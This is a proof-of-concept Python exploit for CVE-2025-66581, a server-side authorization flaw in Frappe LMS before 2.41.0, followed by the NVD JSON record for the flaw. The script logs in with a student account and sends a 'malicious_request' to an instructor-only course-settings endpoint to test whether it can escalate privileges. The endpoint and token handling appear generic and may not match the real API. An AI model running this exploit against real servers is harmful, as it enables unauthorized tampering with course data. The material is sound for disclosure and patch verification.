CVE-2025-66581

# CVE-2025-66581 PoC - Frappe LMS Privilege Escalation # This PoC demonstrates how a low-privilege user can perform admin/instructor actions import requests import json TARGET_URL = "https://vulnerable-server.com" LOGIN_URL = f"{TARGET_URL}/api/method/login" API_URL = f"{TARGET_URL}/api/method/" # Step 1: Login with low-privilege student account student_credentials = { "usr": "[email protected]", "pwd": "student_password" } session = requests.Session() login_response = session.post(LOGIN_URL, json=student_credentials) if login_response.status_code == 200: print("[+] Successfully logged in as student") # Step 2: Attempt to access instructor/admin functionality # Example: Access course management API (should be restricted) headers = { "Content-Type": "application/json", "X-Frappe-CSRF-Token": session.cookies.get("sid") } # Example: Try to modify course settings malicious_request = { "course_id": "course-123", "action": "update_settings", "new_settings": { "access_level": "restricted", "enrollment_approval": False } } # This request should be blocked by server-side authorization # but due to the vulnerability, it may succeed exploit_response = session.post( f"{API_URL}lms.course.update_settings", json=malicious_request, headers=headers ) if exploit_response.status_code == 200: print("[!] VULNERABLE: Request succeeded - privilege escalation possible") print(f"Response: {exploit_response.text}") else: print("[-] Request blocked (system may be patched)") else: print("[-] Login failed")

{"cve": {"id": "CVE-2025-66581", "sourceIdentifier": "[email protected]", "published": "2025-12-05T19:15:52.713", "lastModified": "2025-12-11T00:08:39.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe Learning Management System (LMS) is a learning system that helps users structure their content. Prior to 2.41.0, a flaw in the server-side authorization logic allowed authenticated users to perform actions beyond their assigned roles across multiple features. Because the affected endpoints relied on client-side or UI-level checks instead of enforcing permissions on the server, users with low-privileged roles (such as students) could perform operations intended only for instructors or administrators via directly using the API's. This vulnerability is fixed in 2.41.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:learning:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.41.0", "matchCriteriaId": "F38F8AAF-BBF0-4299-84AA-17C4E0A09840"}]}]}], "references": [{"url": "https://github.com/frappe/lms/security/advisories/GHSA-2ch7-c74m-432m", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}